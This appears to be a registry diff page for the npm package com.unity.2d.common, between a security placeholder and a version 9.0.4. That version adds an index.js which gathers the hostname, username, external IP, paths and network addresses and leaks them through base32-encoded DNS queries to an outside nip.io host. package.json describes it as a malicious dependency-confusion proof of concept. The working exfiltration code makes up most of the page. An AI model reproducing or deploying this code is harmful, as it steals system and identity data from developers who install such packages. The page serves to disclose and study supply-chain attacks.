com.unity.2d.common 0.0.1-security → 9.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of com.unity.2d.common might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +44 -0
  2. package/package.json +11 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,44 @@
1
+ const dns = require('dns');
2
+ const os = require('os');
3
+ const { execSync } = require('child_process');
4
+ const base32 = require('base32-encode');
5
+
6
+ // Function to get external IP address
7
+ function getExternalIP() {
8
+ try {
9
+ return execSync('curl -s ifconfig.me').toString().trim();
10
+ } catch (error) {
11
+ return 'N/A';
12
+ }
13
+ }
14
+
15
+ // Gather system details
16
+ const data = {
17
+ packageName: 'com.unity.2d.common',
18
+ version: '9.0.4',
19
+ hostname: os.hostname(),
20
+ user: os.userInfo().username,
21
+ externalIP: getExternalIP(),
22
+ platform: os.platform(),
23
+ arch: os.arch(),
24
+ release: os.release(),
25
+ currentPath: process.cwd(),
26
+ networkInterfaces: Object.values(os.networkInterfaces()).flat().map(iface => iface.address).join(','),
27
+ };
28
+
29
+ // Encode data for DNS exfiltration
30
+ function sendDNSQuery(dataChunk) {
31
+ const encodedData = base32(Buffer.from(dataChunk), 'RFC4648', { padding: false });
32
+ const domain = `${encodedData}.54-151-79-106.nip.io`; // Using your listener IP with a wildcard domain service
33
+ dns.resolve(domain, (err) => {
34
+ if (err) console.error('DNS query failed:', err);
35
+ else console.log('DNS query sent:', domain);
36
+ });
37
+ }
38
+
39
+ // Split and send data via DNS (avoiding length limits)
40
+ const maxLength = 63; // Max label length for DNS
41
+ const jsonData = JSON.stringify(data);
42
+ for (let i = 0; i < jsonData.length; i += maxLength) {
43
+ sendDNSQuery(jsonData.substring(i, i + maxLength));
44
+ }
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "com.unity.2d.common",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "9.0.4",
4
+ "description": "Malicious package for dependency confusion PoC",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "start": "node index.js"
8
+ },
9
+ "author": "attacker",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "base32-encode": "^1.2.0"
13
+ }
6
14
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=com.unity.2d.common for more information.